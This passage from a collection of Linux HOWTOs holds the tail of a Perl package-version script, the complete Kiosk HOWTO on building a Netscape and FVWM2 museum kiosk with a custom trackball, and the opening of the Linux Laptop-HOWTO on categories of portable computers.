                                $BUILDVERS{$nom}=$buildvers;
                                $FILE{$nom}=$file;
                                $NOM{$nom}=$nom;
                                }
                        else
                                {
                                if ( $buildver2 > $buildvers )
                                                {
                                           print "$file2 : $buildver2 est mieux que $file : $buildvers\n";
                                           unlink($file);
                                                }
                                else
                                                {
                                        print "$file2 : $buildver2 is older than $file : $buildvers\n";
                                            unlink($file2);
                                            $VERSION{$nom}=$version;
                                            $BUILDVERS{$nom}=$buildvers;
                                            $FILE{$nom}=$file;
                                            $NOM{$nom}=$nom;
                                                }
                                }
                        }
                }
        else
                {
                $VERSION{$nom}=$version;
                $BUILDVERS{$nom}=$buildvers;
                $FILE{$nom}=$file;
                $NOM{$nom}=$nom;
                }
        }

# we do the hard thing here
#
system("$redhatdir/misc/src/install/genhdlist $redhatdir");


Kiosk HOWTO

Gene Wilburn, ITS Dept, Royal Ontario Museum <genew@rom.on.ca>

v1.0, October 1999

This document provides a guide for setting up a WWW-based kiosk using Linux, X11R6, FVWM2, Netscape Navigator 4.X, and a customized trackball. It outlines the methods that were used to create a public kiosk for the Hands On Biodiversity Gallery at the Royal Ontario Museum, Toronto.

1. Introduction

  • 1.1 Copyright, license and terms of usage
  • 1.2 Acknowledgements

2. Overview

3. Building a Kiosk Environment

  • 3.1 FVWM2
  • 3.2 Netscape Navigator
  • 3.3 Overlay Masks for Navigator
  • 3.4 /root/kiosk.xinitrc
  • 3.5 /root/xkiosk

4. Initializing the Kiosk

  • 4.1 /etc/inittab modifications
  • 4.2 /etc/rc.d/rc.4/S99xkiosk runlevel script
  • 4.3 Booting normally from the console

5. Other Considerations

  • 5.1 Screensavers
  • 5.2 Sound Files
  • 5.3 Trackballs
  • 5.4 Designing or modifying HTML pages for kiosks

6. Future Directions

  • 6.1 Remote Kiosks
  • 6.2 Touchscreens
  • 6.3 Keyboards
  • 6.4 Collaboration


Kiosk HOWTO : Introduction

 Next Previous Contents

1. Introduction

Information display kiosks are useful in libraries, galleries and museums, educational institutions, municipal offices, visitor information booths, conferences, shopping malls, airports---in short any location where simple, easy access to information is desirable. Kiosks are normally set up with touchscreens or pointing devices such as trackballs, to allow people to select and view information that is attractively displayed and up to date.

There are many ways to create kiosks, from expensive solutions based on proprietary software to HTML-based open-source solutions. Browser-based technologies are particularly attractive because they are inherently multimedia, offering text, graphics, sound and streaming media, and the content is highly portable.

Linux provides a flexible and interesting platform for kiosk development. Linux is inexpensive to set up and it offers a wide range of options, from diskless display stations to self-contained, database-driven web servers. Due to the versatility of the underlying operating system, a well-designed Linux kiosk can be placed in a remote location and administered via a telephone or network link.

This HOWTO explores one method of setting up Linux as a standalone information kiosk, using Netscape Navigator 4.X and FVWM2 on a Red Hat Linux 6.X system. It is based on a kiosk I set up for use in the Hands-on Biodiversity Gallery in the Royal Ontario Museum ( http://www.rom.on.ca), Toronto, Canada. The kiosk outlined in this HOWTO incorporates a trackball rather than a more expensive touchscreen. There are undoubtedly many other ways to create a Linux-based kiosk, but this one has worked reliably for us and it may provide a useful starting point for your own kiosk project.

1.1 Copyright, license and terms of usage

Copyright Gene Wilburn 1999. All rights reserved.

The author disclaims all warranties with regard to this document, including all implied warranties of merchantability and fitness for a certain purpose; in no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortuous action, arising out of or in connection with the use of this document.

This legalese means use at your own risk.

1.2 Acknowledgements

Our Linux kiosk derives heavily from the work done by the City of Charlotte, North Carolina, for their municipal website, Charlotte's Web (see http://www.charweb.org/webinfo/kiosk/). The Charlotte's Web kiosk project, which employs a touchscreen monitor, was set up in 1996 using an early version of Slackware Linux, Netscape Navigator 2.X, and FVWM. The webmasters at Charlotte have created a very useable kiosk implementation and have shared their complete setup via their website. This HOWTO, to a certain degree, represents an update of their work, altering the details to work with Red Hat 6.X, Netscape Navigator 4.X, FVWM2, and a custom-made trackball.

I worked with Debra Luneau (debral@rom.on.ca), the Royal Ontario Museum webmaster, to create the graphics overlays for Netscape. The examples we distribute at our ftp site are her work---and are the ones we use on the kiosk in the Biodiversity Gallery.

The Ontario Biodiversity section of the ROM website was designed by Hopscotch Interactive (www.hopscotch.ca). The original application was converted from a flat-file database system to a MySQL-database driven system by Gord Howells (gordonh@rom.on.ca), the ROM's database designer and programmer. The non-kiosk version of this mini-site may be viewed at http://www.rom.on.ca/ontario/.


Kiosk HOWTO : Overview

 Next Previous Contents

2. Overview

Setting up Linux for use as a web-based kiosk is similar to setting up Linux as a graphical workstaion, with a few extra considerations. If the machine is to be a standalone unit, it must boot straight into kiosk mode. Furthermore, the browser environment must be modified in to disable standard dialog screens and to eliminate parts of the browser that allow inappropriate interaction, such as the Location Bar in Netscape.

Essentially a kiosk website is self-contained. Users navigate through the site via clicks with a pointing device. The pointing device can be a touchscreen, a trackball, or a mouse. Mice are difficult to secure in a public area.

A Linux kiosk can be connected back to a home site via a direct network or PPP link, requesting pages from the home site, or it can be a self-contained website, running Apache and any corresponding CGI modules.


Kiosk HOWTO : Building a Kiosk Environment

 Next Previous Contents

3. Building a Kiosk Environment

3.1 FVWM2

FVWM2 (FVWM, version 2 -- www.fvwm.org) is a flexible, reliable, and lightweight X Window manager that provides excellent configurability for creating a kiosk environment. For kiosk use you must change some of its default settings. You need to modify the system.fvwm2rc file to remove things like virtual desktops, title bars, exit controls, etc, leaving a relatively minimalist FVWM environment. Because the kiosk is a standalone unit, modifying the system-wide settings does not present a problem.

You can also take advantage of FVWM's settable object properties to use X Window bitmaps (xpm files) to mask the parts of Netscape Navigator you don't want users to access.

The FVWM2 file you need to modify is /etc/X11/fvwm2/system.fvwm2rc. (If you use a different distribution than Red Hat, this file may be located elsewhere.) You may have to poke around in this file to find the sections listed below.

/etc/X11/fvwm2/system.fvwm2rc

In /etc/X11/fvwm2/system.fvwm2rc change

DeskTopSize 2X2

to

DeskTopSize 1X1

This eliminates the virtual desktops.

Next, in the Default Styles section, change

Style "*"           BorderWidth 7, HandleWidth 7

to

Style "*"           BorderWidth 0, HandleWidth 0, notitle, nohandles

This will disable most of the normal windowing controls.

Add the following two lines to the Default Styles section:

Style "xdaliclock"  StaysOnTop
Style "sxpm"        StaysOnTop

The Default Styles part of the file should look something like this when you finish:

# default Styles:
#Style "*"           BorderWidth 7, HandleWidth 7
Style "*"           BorderWidth 0, HandleWidth 0, notitle, nohandles
Style "*"           Icon unknown1.xpm, Color lightgrey/dimgrey
Style "*"           MWMFunctions, MWMDecor, HintOverride
Style "*"           DecorateTransient, NoPPosition
Style "*"           IconBox 0 -10 -280 -1
Style "*"           FocusFollowsMouse
Style "*"           RandomPlacement, SmartPlacement
Style "xdaliclock"  StaysOnTop
Style "sxpm"        StaysOnTop

You can use the xdaliclock and sxpm programs to cover up parts of Netscape Navigator. The ``StaysOnTop'' attribute is the active ingredient.

Next, find the following four lines and comment them out as shown:

#AddToFunc InitFunction         "I" Module FvwmButtons
#+                      "I" exec xsetroot -mod 2 2 -fg \#554055 -bg \#705070

#AddToFunc RestartFunction "I" Module FvwmButtons
#+                      "I" exec xsetroot -mod 2 2 -fg \#554055 -bg \#705070

Commenting out these lines will eliminate the nice task launcher from FVWM2, which is okay because you're after as simple an environment as you can create.

3.2 Netscape Navigator

Netscape Navigator is a better choice for setting up a kiosk than Netscape Communicator. Being simpler, there are fewer objects to hide.

Under Microsoft Windows, Netscape Navigator has a kiosk mode that eliminates most of the Navigator controls but there is, at the time of this writing, no built-in kiosk mode for the Unix version of Navigator.

The Unix version can, however, be invoked with a -geometry argument that allows us to always start Netscape full screen. This forms part of our strategy for a Netscape-based kiosk.

You need to decide on our kiosk screen resolution. Using a 19- or 20-inch monitor, we found 640x480 too large, 1024x768 too small, and 800x600 just about right for public viewing (you may decide differently). Once you decide on the resolution, you are ready to begin adjusting Navigator. For the rest of this HOWTO we assume 800x600 resolution. You'll need to adjust accordingly if you select a different resolution.

Note: Navigator is going to be invoked by root during bootup, so make all of the Netscape adjustments under the root account in the /root/.netscape directory.

Invoke Netscape and click into the Edit, Preferences dialog. Under Appearance check ``Show Toolbar as Text Only.'' Under Appearance, Fonts adjust both fixed- and variable-width fonts to at least 14pt or the screen display will be too small for comfortable reading.

Under Preferences, Navigator insert the URL of your kiosk home page. If you're running a local version of Apache or another web server, make this http://localhost/ for top level access, or deeper into the html doctree if desired.

Save these options, then click View on the Navigator menu bar. Deselect Personal Toolbar and Location Bar.

Notice how much more kiosk-like the interface has become? When you exit Navigator, these settings will be saved.

3.3 Overlay Masks for Navigator

If you look closely at your adjusted Navigator screen, you'll see four areas that need to be covered and protected from mouse or trackball clicks:

  1. The Toolbar at the top
  2. The twister at the left-hand side of the navigation toolbar
  3. The rest of the navbar to the right of Home
  4. The security key in the lower left-hand corner of Navigator.

Here's a rough schematic of the areas you need to mask:

+---------------------------------------+
|            # 1 Toolbar                |
+--+------------+-----------------------+
|#2|            |  #3 Navbar            |
+--+            +-----------------------+
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
|                                       |
+--------+                              |
|#4 Key  |                              |
+---------------------------------------+

To mask over the top areas (#1-3), we'll need three graphic images. To mask the security key (#4) we'll use xdaliclock.

Creating the Graphical Masks

The easiest way to create graphical masks to cover areas #1-3 is to grab a screenshot of Navigator in full 800x600 mode and then crop out areas that correspond to #1-3. I used GIMP for this.

You can then re-design the basic graphics, changing the colors if you wish, or putting your own logo on them. Save them as:

  1. topbar.xpm
  2. navleft.xpm
  3. navright.xpm

The xpm format is the native X Window bitmap format. You will use the X Window program sxpm to place them on the screen.

Creating the masks with just the right number of pixels and just the right placement on the monitor requires some experimentation. For your convenience, I have placed the xpm files we created plus our configuration files in at the following web site: http://www.rom.on.ca/kiosk/HOWTO/. You may find it simpler to download our masks and use them as a starting point for your own graphics.

3.4 /root/kiosk.xinitrc

Just as you would normally create a .xinitrc file for your personal use, you must create an X Window session initialization file for our kiosk application. The following script implements a number of features:

  • Screensaver initialization (optional)
  • Placement of graphic bitmap over Navigator menu bar (topnav.xpm)
  • Placement of graphic bitmap over navigation bar twiser (navleft.xpm)
  • Placement of graphic bitmap over rest of navbar (navright.xpm)
  • Xdaliclock placement over Navigator security key (adjusted for 800x600 screen resolution)
  • Netscape startup and loop checks to make sure Navigator is running, and to re-run it if it isn't.

This is the main file that runs the kiosk.

#!/bin/sh
# kiosk.xinitrc -- Initialization script for kiosk X Window session

# Start screensaver
/usr/X11R6/bin/xscreensaver-command -exit
/usr/X11R6/bin/xscreensaver &

# Overlay over Navigator (mask #1)
sxpm /root/navtop.xpm &

# Overlay small graphic over Toolbar twister - left-hand side (mask #2)
sxpm -g +0+23 /root/navleft.xpm &

# Overlay larger graphic to cover everything to the right of
# Home on the Toolbar (mask #3)
sxpm -g +275+23 /root/navright.xpm &

# Place xdaliclock over top of Netscape security key, lower lhc (mask #4)
/usr/X11R6/bin/xdaliclock -g 38x20+0+578 -font fixed -noseconds \
-bg gray -fg black &

sleep 2

# Start fvwm2 window manager
fvwm2 &

# restart netscape if it ever exits
while true ; do
        if [ -f /.netscape/lock] ; then
                rm /.netscape/lock
        fi
        /usr/bin/netscape -geometry 800x600
done

# This should never be reached

3.5 /root/xkiosk

You can now start testing your kiosk setup. Since you will need to do this repeatedly, manually, as well as from an initialization script, create the following as a shell script named /root/xkiosk:

/usr/X11R6/bin/xinit /root/kiosk.xinitrc -- /usr/X11R6/bin/X \
-xf86config /root/kiosk.XF86Config bc

Because you will be testing often, and reusing this later when you automate the startup, create this command as a shell script called /root/xkiosk. Be sure to chmod ug+x it.


Kiosk HOWTO : Initializing the Kiosk

 Next Previous Contents

4. Initializing the Kiosk

Under normal (i.e. kiosk) conditions, Linux should boot straight into Kiosk mode. In the event of a power failure, accidental reboot, or scheduled reboot, you need to configure the system to do this.

For our kiosk we elected to use init level 4, which is normally unused, for kiosk mode. We made the following adjustment to /etc/inittab:

4.1 /etc/inittab modifications

# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - Kiosk mode
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
id:4:initdefault:

4.2 /etc/rc.d/rc.4/S99xkiosk runlevel script

To initialize the kiosk after everything else has been initialized, including, in our case, Apache and MySQL, create the file /etc/rc.d/rc.4/S99xkiosk:

#!/bin/bash
#
# S99xkiosk   Initialization of kiosk for runlevel 4
#
# Author:           Gene Wilburn <genew@rom.on.ca>
#

# Display message on console
echo "Starting up the X Window Kiosk ... "

if [ -f /.netscape/lock] ; then
   rm /.netscape/lock
fi

# Logging of X activity
echo %%%%%%%%%%%%%Reboot%%%%%%%%%% >> /var/log/xlog
/root/xkiosk

# This point should only be reached by pressing Ctrl-Backspace
/sbin/shutdown -r now

# All done.

Once this file has been created and inittab has been adjusted to boot into init level 4, Linux will boot directly into kiosk mode. On our kiosk we disable telnet and ftp and install ssh so we can maintain and administer the kiosk remotely across the network with ssh and scp.

4.3 Booting normally from the console

There are times, especially during testing, when you'd like to work from the console in a normal init level 3 mode. To do this, press Ctrl-Backspace to reboot the system. When LILO: appears type:

LILO: linux init 3

and log in as usual.


Kiosk HOWTO : Other Considerations

 Next Previous Contents

5. Other Considerations

5.1 Screensavers

Depending on where you deploy your kiosk, you may not want all the default xscreensaver images to appear. For our Hands-On Biodiversity Gallery we wanted to display only the animated fractal images that suggested life science themes.

After testing out several screensaver images, we decided that we to select randomly between two choices: coral and forest.

To limit xscreensaver to displaying these two, we created the file .xscreensaver in the filesystem root (/) with the following options:

/.xscreensaver

programs: \
        coral -root \n\
        forest -root \n

5.2 Sound Files

Our kiosk machine contains a Sound Blaster AWE64 card with attached speakers. We chose this card specifically because it works well with Linux sound drivers.

The MySQL database that drives our Biodiversity Gallery kiosk points to a collection of sound files that a visitor may listen to, including a ``bird song quiz.'' The downside of using Linux Netscape for a kiosk is that some of the multimedia aspects are primitive, compared to Windows and Macintosh.

To enable sound, we implemented a Unix Netscape plugin called Xswallow written by Caolan McNamara ( http://skynet.csn.ul.ie/~caolan/docs/XSwallow.html). All the sound plugins we tested create a separate web page as the sound is being played (unless the sound file is embedded). Of the programs we tested, Xswallow worked the best and had the cleanest display page.

Although the extra page is inconvenient, we decided that having the stability of Linux was more important than the extra click required to return to the previous screen.

An additional problem is that when a sound is selected, the Xswallow page displays ``Click to Abort Swallow of type audio/basic''. Clicking merely returns a blank page. I made a slight change to the author's source code for UnixShell.c, changing

char *text2 = "Click to Abort Swallow";

to read

char *text2 = "Click BACK Button to return from playing file";

The phrase ``of type audio/basic'' appears to come directly from Netscape rather than Xswallow.

After recompiling, I added the plugin to Netscape.

A last note about sound files: the original set of files we received were a mix of .au and .wav files. Our experience was that the .au files worked the most reliably in Linux and we converted all sound files to .au format.

5.3 Trackballs

Not having the funding for a touchscreen display, we opted for a trackball (and no keyboard) for our kiosk navigation. Our colleague, Andy Rauer at the Ontario Science Centre in Toronto, tipped us off to using ``industry-strength'' trackball components from Happ Conrols Inc., Elk Grove Village, Illinois http://www.happcontrols.com/ (check under their Interactives section).

One of the things we needed to do was disable any right-mouse button click equivalents from being used in Netscape Navigator because right-click events invoke user dialogs.

By building our own trackball, we were able to wire it any way we wanted. We wired in two push-button controls, both with a left-mouse button equivalent. The buttons are arranged on either side of the trackball, allowing ease of use from right-handed and left-handed visitors. Our gallery designers then took the trackball parts and built them into the gallery's kiosk enclosure.

For our kiosk we purchased the following components for building a heavy-duty trackball designed to withstand visitor use (and abuse):

  • A 2 1/4-inch Atari Trackball Assembly (we selected red)
  • Trackball Interface Kit for IBM (Microsoft serial mouse compatible)
  • Illuminated Push Buttons (red)

From a local electronics vendor, we purchased a Hammond Manufacturing plastic handy case (Cat no. 1591ABK) for housing the electronics board for the trackball.

Anticipating additional kiosks, and potential part failure, we ordered four sets of each of the above for spare parts and testing.

5.4 Designing or modifying HTML pages for kiosks

In the best of all possible worlds, you will have the opporunity to design your kiosk pages from scratch. Bearing in mind that using a kiosk is a different experience from sitting at a desk browsing the web from a personal workstation, the following guidelines are useful design principles:

  • Keep text passages very short and use large fonts.
  • Avoid screens that require scrolling.
  • Use colorful, large, eye-catching images on every page
  • Create embedded navigation if possible, e.g., return to previous page, go to next page, go to kiosk menu, etc., should all be designed right into the pages themselves.
  • Avoid anything that requires a keyboard. Design for clicking.
  • If you use sound files, keep the duration short. Embed them into the page if possible.
  • Make everything punchy and snappy. Design for short attention spans and pass-through traffic. Save your theses and exegeses for elsewhere.

Unforunately you will sometimes inherit pages that were designed for web browsing rather than kiosk browsing. In these cases it may be too time-consuming or too difficult to redesign them as kiosk pages. When implementing standard web pages for a kiosk display:

  • Remove all external A HREF's, including MAILTO's.
  • Remove all unnecessary verbiage, logos, etc. from the pages.
  • Check font sizes and increase if necessary.
  • Remove any animated GIF's that don't pertain directly to the pages being viewed.
  • Actually, remove any animated GIF's, period.
  • Do anything else you can to simplify the page design.
  • Check into using server-side includes to add some fundamental navigation or a consistent graphic to tie the pages together.


Kiosk HOWTO : Future Directions

 Next Previous Contents

6. Future Directions

Our previous attempts at creating browser-based kiosks with Windows-based PC's were unsatisfactory. The units were unstable, freezing up frequently. The Linux approach has given us a reliable, robust kiosk in a public gallery that has stood up well to visitor usage. Our success with this project has led us to consider other kiosk possibilities.

6.1 Remote Kiosks

One of our future goals is to implement remote kiosks in the greater Toronto area where people can browse some of our site information and, hopefully, be attracted enough by it to visit the ROM in person. These might be deployed at places such as conventions, trade shows, shopping malls or special exhibits. We are also thinking in terms of deploying kiosks in more distant locations, perhaps in public libraries.

For this project we would likely implement modem-based Linux boxes that could ``call home'' to update files on a routine basis and could be dialled into for maintenance and updates.

6.2 Touchscreens

When the technology gets cheaper, we would like to experiment with flat-panel touchscreen displays for kiosks. The combination of flat-panel display and very small PC units would enable us to deploy kiosks with a very small footprint.

6.3 Keyboards

Ultimately we may need to deploy kiosks that utilize keyboards. This will present a new set of challenges in terms of blocking unwanted keystrokes. If anyone would like to contribute information on this, or to any other aspect of the Kiosk-HOWTO, please email me at genew@rom.on.ca or my alternative email address njo@interlog.com.

6.4 Collaboration

I would be very interested in collaborating with other kiosk builders to extend the Kiosk-HOWTO for other situations. Kiosks are a bit like Perl: ``There is more than one way to do it.''


Linux Laptop-HOWTO

Werner Heuser <wehe@mobilix.org>

v2.2a, 3 November 2000

Laptops are different from desktops/towers. They use certain hardware such as PCMCIA cards, infrared ports, batteries, docking stations. Often their hardware is more limited (e.g. disk space, CPU speed), though the performance gap is becoming smaller. In many instances, laptops can become a desktop replacement. Hardware support for Linux (and other operating systems) on laptops is sometimes more limited (e.g. graphic chips, internal modems). Laptops often use specialized hardware, hence finding a driver can be more difficult. Laptops are often used in changing environments, so there is a need for multiple configurations and additional security strategies. Though there are laptop related HOWTOs available already, this HOWTO contains a concise survey of laptop related documents. Also, laptop related Linux features, such as installation methods for laptops (via PCMCIA, without CD drive, etc.), laptop hardware features and configurations for different (network) environments are described. Besides there are some notes on PDAs, Handheld PCs and other mobile computer devices (digital cameras, cellular phones, calculators). And though some caveats Linux is a better choice for laptops, than most other operating systems. Because it supports numerous installation methods, works in many heterogenoues environments and needs smaller resources.

1. Preface

  • 1.1 About the Author
  • 1.2 Sponsoring
  • 1.3 About the Document (Mirrors, Translations, Versions, Formats, URLs)
  • 1.4 Contact

2. Copyright, Disclaimer and Trademarks

3. Which Laptop to Buy?

  • 3.1 Introduction
  • 3.2 Portables, Laptops/Notebooks, Sub/Mini-Notebooks, Palmtops, PDAs/HPCs
  • 3.3 Linux Features
  • 3.4 Main Hardware Features
  • 3.5 Sources of More Information
  • 3.6 Linux Compatibility Check
  • 3.7 Writing a Device Driver
  • 3.8 Buying a Second Hand Laptop
  • 3.9 No Hardware Recommendations

4. Laptop Distribution

  • 4.1 Requirements
  • 4.2 Recommendation

5. Installation

  • 5.1 Related HOWTOs
  • 5.2 Prerequisites - Partitioning
  • 5.3 Linux Tools to Repartition a Hard Disk
  • 5.4 Installation Methods
  • 5.5 From a Boot Floppy plus CD-ROM - The Usual Way
  • 5.6 From a DOS or Windows Partition at the Same Machine
  • 5.7 From a Second Machine With a Micro Linux On a Floppy
  • 5.8 From a Second Machine With a 2.5" Hard Disk Adapter
  • 5.9 From a PCMCIA Device
  • 5.10 From a Parallel Port Device (ZIP Drive, CD Drive)
  • 5.11 From a Second Machine Using the Parallel Port - PLIP Network Install
  • 5.12 Installing Linux on Small Machines

6. Hardware In Detail

  • 6.1 PCMCIA Controller
  • 6.2 Infrared Port
  • 6.3 Graphic Chip
  • 6.4 Sound
  • 6.5 Keyboard
  • 6.6 Pointing Devices - Mice and Their Relatives
  • 6.7 Advanced Power Management - APM
  • 6.8 ACPI
  • 6.9 Batteries
  • 6.10 Memory
  • 6.11 Plug-and-Play Devices (PnP)
  • 6.12 Docking Station / Port Replicator
  • 6.13 Network Connections
  • 6.14 Modem
  • 6.15 SCSI
  • 6.16 Universal Serial Bus - USB
  • 6.17 Floppy Drive
  • 6.18 CD Drive
  • 6.19 DVD Drive
  • 6.20 Harddisk
  • 6.21 Video Port / ZV Port

7. Palmtops, Personal Digital Assistants - PDAs, Handheld PCs - HPCs

8. Cellular Phones, Pagers, Calculators, Digital Cameras, Wearable Computing

  • 8.1 Cellular Phones
  • 8.2 Pagers - SMS Messages
  • 8.3 Digital Cameras
  • 8.4 Calculators
  • 8.5 Wearable Computing
  • 8.6 Watches

9. Accessories

  • 9.1 PCMCIA Cards
  • 9.2 SmartCards
  • 9.3 Memory Technology Devices - RAM and Flash Cards
  • 9.4 Printers
  • 9.5 Power and Phone Plugs, Power Supply
  • 9.6 Bags and Suitcases

10. Different Environments - On the Road

  • 10.1 Related HOWTOs
  • 10.2 Configuration Tools
  • 10.3 Data Transport Between Different Machines
  • 10.4 Security in Different Environments
  • 10.5 Dealing with Down Times (Cron Jobs)
  • 10.6 Noise Reduction

11. Other Resources

12. Repairing the Hardware

13. Solutions with Laptops

  • 13.1 Introduction
  • 13.2 Mobile Network Analyzer
  • 13.3 Mobile Router
  • 13.4 Hacking and Cracking Networks
  • 13.5 Lectures
  • 13.6 Mobile Data Collecting
  • 13.7 Mobile Office
  • 13.8 Connection to Digital Camera
  • 13.9 Connection to QuickCam (Video)
  • 13.10 Connection to Television Set
  • 13.11 Connection to Cellular Phone
  • 13.12 Connection to Global Positioning System (GPS)
  • 13.13 Connection via Amateur Radio (HAM)
  • 13.14 Satellite Watching
  • 13.15 Aviation
  • 13.16 Blind or Visually Impaired Users

14. Other Operating Systems

  • 14.1 DOS/Windows9x/NT
  • 14.2 BSD Unix
  • 14.3 OS/2
  • 14.4 NOVELL Netware
  • 14.5 Debian GNU/Hurd (hurd-i386)

15. ToDo

16. Revision History

17. Credits

18. Appendix A - Survey about Micro Linuxes

19. Appendix B - Dealing with Limited Resources or Tuning the System

  • 19.1 Related HOWTOs
  • 19.2 Introduction
  • 19.3 Small Space
  • 19.4 Harddisk Speed
  • 19.5 Small Memory
  • 19.6 Low CPU Speed
  • 19.7 Power Saving Techniques
  • 19.8 Kernel
  • 19.9 Tiny Applications and Distributions
  • 19.10 Hardware Upgrade

20. Appendix C - NeoMagic Chip NM20xx

  • 20.1 Introduction
  • 20.2 Textmode 100x37

21. Appendix D - Annotated Bibliography

22. Appendix E - Resources for Specific Laptops

  • 22.1 IBM ThinkPad
  • 22.2 Toshiba Laptops
  • 22.3 COMPAQ Concerto Aero
  • 22.4 DELL Laptops


Linux Laptop-HOWTO: Preface

 Next Previous Contents

1. Preface

Life is the first gift, love is the second, and understanding is the third. -- Marge Piercy

1.1 About the Author

People like either laptops or desktops. I like to work with laptops rather than with desktops. I like Linux too. My first HOWTO was the Linux/IR-HOWTO about infrared support for Linux. My second is this one and my third the Ecology-HOWTO, about some ways to use Linux in an ecology aware manner.

Also I have written some pages about Linux with certain laptops: Olivetti Echos 133 DM (German) (together with Kurt Saetzler), HP OmniBook 800CT, HP OmniBook 3100 (together with Friedhelm Kueck) COMPAQ Armada 1592 DT and COMMODORE C286LT.

During the work with the Laptop-HOWTO I have collected some surveys about laptop related hardware: graphic chips, unofficially supported PCMCIA cards, internal modems and infrared chips.

But I don't claim to be a laptop guru, I just had the opportunity to install Linux on some laptops and I simply want to share the information I collected.

Since I don't own a non-Intel based machine, this HOWTO might not contain all the details for non-Intel systems or may contain inaccuracies. Sorry.

1.2 Sponsoring

This HOWTO is free of charge and free in the sense of the General Public Licence - GPL. Though it requires much work and could gain more quality if I would have some more hardware. So if you have a spare laptop, even an old one or one which requires repair, please let me know. Especially I need one with infrared port, USB port, DVD drive, WinModem and a non Intel machine. The according chapters need a major rewrite. For the curious, this HOWTO is written on a HP OmniBook 800CT 5/100.

Or sponsor a banner ad at my WWW pages MobiliX.

You can hire me for readings or workshops on Linux with Laptops, Repairing of Laptops and other Linux topics, too.

1.3 About the Document (Mirrors, Translations, Versions, Formats, URLs)

Many times I have mentioned MetaLab formerly known as SunSite. This site carries a heavy load, so do yourself a favor, use one of the MetaLab mirrors .

For Debian/GNU Linux the mirror URLs are organized in this scheme http://www.<country code, e.g. uk>.debian.org .

This text is included in the LINUX DOCUMENTATION PROJECT - LDP .

Richard Worwood mirrors this HOWTO at http://www.felch01.demon.co.uk/laptop-howto.html .

Lionel, "trollhunter" Bouchpan-Lerust-Juery, <trollhunter@linuxfr.org> provides a translation into French. You can download or browse it at http://infonomade.linuxfr.org/portables/ressourcesfr.html#howto . And he mirrors the English version at http://infonomade.linuxfr.org/portables/ressourcesen.html#howto

He has also written a HOWTO about portables and wearables, please look at his pages http://infonomade.linuxfr.org/index.html (French version) http://infonomade.linuxfr.org/indexen.html (English version).

Translations into Japanese (Ryoichi Sato <rsato@ipf.de>), Italian (Alessandro Grillo <Alessandro_Grillo@tivoli.com>), Portuguese (Gledson Evers <pulga_linux@bol.com.br> the translation will be announced at LinuxALL) and Greek (Vassilis Rizopoulos <mscyvr@scs.leeds.ac.uk>) are under construction.

Please contact me before starting a translation to avoid double work. Since a translation is a great amount of work, I recommend to do this work as a group.

Nearly all of the programms I mention are available as Debian/GNU Linux packages, or as RPM packages, look up your favorite RPM server, for instance RUFUS .

The latest version of this document is available in different formats at MobiliX .

1.4 Contact

This document isn't ready yet. If you like to write a chapter or even a smaller part by yourself, please feel free to contact me. Also your suggestions and recommendations and critics are welcome. But please don't expect me to solve your laptop related problems if the solution is already documented. Please read all according manual pages, HOWTOs and WWW sites first, than you may consider to contact me or the other resources mentioned below.

Since I want to write much more stuff about mobile computing and Linux I'm thinking about turning this HOWTO into a book.

Werner Heuser <wehe@mobilix.org>


Linux Laptop-HOWTO: Copyright, Disclaimer and Trademarks

 Next Previous Contents

2. Copyright, Disclaimer and Trademarks

Copyright © 1999 by Werner Heuser. This document may be distributed under the terms set forth in the LDP license .

This is free documentation. It is distributed in the hope that it will be useful, but without any warranty. The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages incurred from the use of the information contained herein.

Some laptop manufacturers don't like to see a broken laptop with an operating system other than the one shipped with it, and may reload MS-Windows if you complain of a hardware problem. They may even declare the warranty void. Though IMHO this isn't legal or at least not fair. Always have a backup of both the original configuration and your Linux installation if you have to get your laptop repaired.

Though I hope trademarks will be superfluous sometimes (you may see what I mean at Open Source Definition) : If certain words are trademarks, the context should make it clear to whom they belong. For example "MS Windows NT" implies that "Windows NT" belongs to Microsoft (MS). Mac is a trademark by Apple Computer. All trademarks belong to their respective owners.


Linux Laptop-HOWTO: Which Laptop to Buy?

 Next Previous Contents

3. Which Laptop to Buy?

3.1 Introduction

Portable computers may be divided into different categories. This is a subjective decision, but I try to do so. My groupings roughly follow the generally accepted marketing categories. The criteria could be:

  1. Weight: Often expressed in terms like Portables, Laptops/Notebooks, Sub/Mini-Notebooks, Palmtops/PDAs. There is no standard method to define the weight of a laptop, therefore the data provided by the manufacturers (and which are given below) have to be considered as approximations. The question is how the power supply (wether external or internal) or swappable parts like CD and floppy drive, are included in the weight.

    Most peripheral cables are appallingly heavy. If you get a subnotebook and carry it around with a bunch of external drives, cables, and port expander dongles and power converter, you may be lugging a heavier bag than if it were all in one box. Subnotebooks are useful mainly if you can afford to leave all the other junk behind.

  2. Supported Operations Systems: proprietary versus open
  3. Price: NoName versus Brand
  4. Hardware Features: display size, harddisk size, CPU speed, battery type, etc.
  5. Linux Support: graphic chip, sound card, infrared controller (IrDA), internal modem, etc.

3.2 Portables, Laptops/Notebooks, Sub/Mini-Notebooks, Palmtops, PDAs/HPCs

Portables

Weight greater than 4.0 kg (9 lbs). Features like a PC, but in a smaller box and with LCD display. Examples: lunchbox or ruggedized laptops (e.g., http://www.bsicomputer.com/)

Laptops/Notebooks

Weight between 1.7 and 4.0 kg (4 to 9 lbs). Features custom hardware and usually a special CPU. Examples: HP OmniBook 3100, COMPAQ Armada 1592DT. The terms laptop and notebook seem equivalent to me.

Sub-Notebooks/Mini-Notebooks

Weight between 1.3 and 1.7 kg (3 to 4 lbs). Features: external floppy drive, external CD drive. Examples: HP OmniBook 800CT, Toshiba Libretto 100, COMPAQ Aero, SONY VAIO 505.

Palmtops

Weight between 0.7 and 1.3 kg (1.5 to 3 lbs). Features: proprietary commercial operating systems. Examples: HP200LX.

Personal Digital Assistants (PDAs)/Handheld PCs (HPCs)

Weight below 0.7 kg (1.5 lbs). Features: proprietary commercial operating systems and often non-Intel CPU with commercial operating systems like PalmOS, EPOC32, GEOS, Windows CE. Examples: Newton Message Pad, Palm III (former Pilot), Psion Series 3 and 5, CASIO Z-7000.

Wearables

